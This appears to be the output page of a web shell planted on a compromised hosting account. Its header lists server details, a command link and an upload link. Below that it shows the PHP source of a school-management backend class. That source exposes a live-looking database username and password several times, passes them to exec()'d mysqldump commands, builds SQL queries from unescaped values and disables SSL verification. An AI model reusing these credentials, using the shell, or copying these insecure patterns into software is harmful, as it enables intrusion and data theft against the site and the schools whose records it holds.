Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.139 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/src/../../admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php class serverFunctions { private $db; private $con; //put your code here // constructor function __construct() { require_once 'DB_Connect.php'; // connecting to database $this->db = new DB_Connect(); $this->con=$this->db->connect(); // print_r($this->db); } // destructor function __destruct() { } function full_copy( $source, $target ) { if ( is_dir( $source ) ) { @mkdir( $target ); $d = dir( $source ); while ( FALSE !== ( $entry = $d->read() ) ) { if ( $entry == '.' || $entry == '..' ) { continue; } $Entry = $source . '/' . $entry; if ( is_dir( $Entry ) ) { full_copy( $Entry, $target . '/' . $entry ); continue; } copy( $Entry, $target . '/' . $entry ); } $d->close(); }else { copy( $source, $target ); } } /* $DB_SRC_HOST='localhost'; $DB_SRC_USER='root'; $DB_SRC_PASS=''; $DB_SRC_NAME='superAdmin'; $DB_DST_HOST='localhost'; $DB_DST_USER='root'; $DB_DST_PASS=''; $DB_DST_NAME='dateabase2';*/ public function copyDatabase($DB_SRC_NAME,$DB_DST_NAME) { $DB_SRC_HOST='localhost'; $DB_SRC_USER='raghu80504822'; $DB_SRC_PASS='5EqjoMZIm2*b'; //$DB_SRC_NAME='superAdmin'; $DB_DST_HOST='localhost'; $DB_DST_USER='raghu80504822'; $DB_DST_PASS='5EqjoMZIm2*b'; // $DB_DST_NAME='dateabase2'; /*********************** GRAB OLD SCHEMA ***********************/ $db1 = new mysqli ($DB_SRC_HOST,$DB_SRC_USER,$DB_SRC_PASS) or die($db1->error); mysqli_select_db($db1,$DB_SRC_NAME) or die($db1->error); $result = mysqli_query($db1,"SHOW TABLES;") or die($db1->error); $buf="set foreign_key_checks = 0;\n"; $constraints=''; while($row = mysqli_fetch_array($result)) { $result2 = mysqli_query($db1,"SHOW CREATE TABLE ".$row[0].";") or die($db1->error); $res = mysqli_fetch_array($result2); if(preg_match("/[ ]*CONSTRAINT[ ]+.*\n/",$res[1],$matches)) { $res[1] = preg_replace("/,\n[ ]*CONSTRAINT[ ]+.*\n/","\n",$res[1]); $constraints.="ALTER TABLE ".$row[0]." ADD ".trim($matches[0]).";\n"; } $buf.=$res[1].";\n"; } $buf.=$constraints; $buf.="set foreign_key_checks = 1"; /**************** CREATE NEW DB WITH OLD SCHEMA ****************/ $db2 = new mysqli($DB_DST_HOST,$DB_DST_USER,$DB_DST_PASS) or die($db2->error); //$sql = 'CREATE DATABASE '.$DB_DST_NAME; //if(!mysqli_query($db2,$sql)) die($db2->error); mysqli_select_db($db2,$DB_DST_NAME) or die($db2->error); $queries = explode(';',$buf); foreach($queries as $query) { if(!mysqli_query($db2,$query)) die($db2->error); } } public function backup_old() { $res=mysqli_query($this->con,"SELECT * FROM `schools`")or die(mysqli_error($this->con)); while($data=mysqli_fetch_array($res)) { $dbs_res=mysqli_query($this->con,"SELECT `schoolCode`,`dbFees`,`dbStudent`,`dbLibrary` FROM `schools` WHERE `id` = '$data[id]'")or die(mysqli_error($this->con)); while($dbs=mysqli_fetch_array($dbs_res)) { $fees=$dbs['0'].'_dbFees'.'.sql'; $student=$dbs['0'].'_dbstudent'.'.sql'; $library=$dbs['0'].'_dblibrary'.'.sql'; mkdir("/home/ek439kzey1c5/public_html/admin/backup/".$dbs['0'], 0700); $result=exec("mysqldump $dbs[1] --password=5EqjoMZIm2*b --user=raghu80504822 --single-transaction >/home/ek439kzey1c5/public_html/admin/backup/$dbs[0]/".$fees,$output1); $result=exec("mysqldump $dbs[2] --password=5EqjoMZIm2*b --user=raghu80504822 --single-transaction >/home/ek439kzey1c5/public_html/admin/backup/$dbs[0]/".$student,$output2); $result=exec("mysqldump $dbs[3] --password=5EqjoMZIm2*b --user=raghu80504822 --single-transaction >/home/ek439kzey1c5/public_html/admin/backup/$dbs[0]/".$library,$output3); } } } public function backup() { $res=mysqli_query($this->con,"SELECT * FROM `schools` WHERE IsActive=1")or die(mysqli_error($this->con)); while($data=mysqli_fetch_array($res)) { $fees=$data['schoolCode'].'_dbFees'.'.sql'; $student=$data['schoolCode'].'_dbstudent'.'.sql'; $library=$data['schoolCode'].'_dblibrary'.'.sql'; $bkpPath="backup/".$data['schoolCode']; mkdir($bkpPath); $dbpassword=$data['dbPassword']; $dbFees=$data['dbFees']; $dbUsernameFees=$data['dbUsernameFees']; $dbStudent=$data['dbStudent']; $dbUsernameStudent=$data['dbUsernameStudent']; $dbLibrary=$data['dbLibrary']; $dbUsernameLibrary=$data['dbUsernameLibrary']; $result=exec("mysqldump $dbFees --password=$dbpassword --user=$dbUsernameFees --single-transaction >$bkpPath/".$fees,$output1); $result=exec("mysqldump $dbStudent --password=$dbpassword --user=$dbUsernameStudent --single-transaction >$bkpPath/".$student,$output2); $result=exec("mysqldump $dbLibrary --password=$dbpassword --user=$dbUsernameLibrary --single-transaction >$bkpPath/".$library,$output3); } } public function count() { $count_var=0; $res=mysqli_query($this->con,"SELECT * FROM `schools`")or die(mysqli_error($this->con)); while($data=mysqli_fetch_array($res)) { // print_r($data); $dbs_res=mysqli_query($this->con,"SELECT `schoolCode`,`dbFees`,`dbStudent`,`dbLibrary` FROM `schools` WHERE `id` = '$data[id]'")or die(mysqli_error($this->con)); while($dbs=mysqli_fetch_array($dbs_res)) { if($dbs['dbStudent'] != ""){ $username = "raghu80504822"; $password = "5EqjoMZIm2*b"; $coo = mysqli_connect("localhost", $username,$password, $dbs['dbStudent']); $count_res=mysqli_query($coo,"SELECT count(`S_id`) FROM `student_registration`")or die(mysqli_error($coo)); $count=mysqli_fetch_array($count_res); echo $count_var+=$count['0']; echo "<br>"; } } } echo $count_var; } public function feesSms() { $count_var=0; $res=mysqli_query($this->con,"SELECT * FROM `schools`")or die(mysqli_error($this->con)); while($data=mysqli_fetch_array($res)) { // print_r($data); $dbs_res=mysqli_query($this->con,"SELECT `schoolname`,`schoolCode`,`dbFees`,`smsId`,`smsAPI`,`feesAlertNumbers` FROM `schools` WHERE `id` = '$data[id]'")or die(mysqli_error($this->con)); while($dbs=mysqli_fetch_array($dbs_res)) { if($dbs['dbFees'] != ""){ date_default_timezone_set('Asia/Calcutta'); $today=date("Y-m-d"); $username = "raghu80504822"; $password = "5EqjoMZIm2*b"; $coo = mysqli_connect("localhost", $username,$password, $dbs['dbFees']); $count_res=mysqli_query($coo,"SELECT SUM(`Grand_Total`) as amount FROM `paid_fees` WHERE `Paid_date` = '$today' and `flag` = '1'")or die(mysqli_error($coo)); $count=mysqli_fetch_assoc($count_res); if($count['amount'] != ''){ echo $dbs['schoolCode']."-".$count['amount']."<br>"; $message="Today Collected Amount is " . $count['amount'] ." in ". $dbs['schoolname'] ." Thank You.."; if($count['amount'] != 0){ //echo $dbs['feesAlertNumbers'].$message.$dbs['smsAPI'].$dbs['smsId']; $this->message_alert($dbs['feesAlertNumbers'],$message,$dbs['smsAPI'],$dbs['smsId']); } } } } } } public function message_alert($mobile,$message,$API,$sender) { $url = "https://api-alerts.kaleyra.com/v4/?api_key=$API&method=sms&message=$message&to=$mobile&sender=$sender"; $fields = array( 'registration_ids' => $registatoin_ids, 'data' => $message, ); $headers = array( 'Authorization: key=' . $API, 'Content-Type: application/json' ); // Open connection $ch = curl_init(); // Set the url, number of POST vars, POST data curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Disabling SSL Certificate support temporarly curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields)); // Execute post $result = curl_exec($ch); if ($result === FALSE) { die('Curl failed: ' . curl_error($ch)); } // Close connection curl_close($ch); // echo $result; $resultl=json_decode($result); //print_r($resultl); } public function schoolsList() { $schools=array(); $res=mysqli_query($this->con,"SELECT * FROM `schools` ORDER BY `schoolname` ASC")or die(mysqli_error($this->con)); while($data=mysqli_fetch_array($res)) { $id=$data['id']; $schools[$id]=$data['schoolname']; } return $schools; } } ?>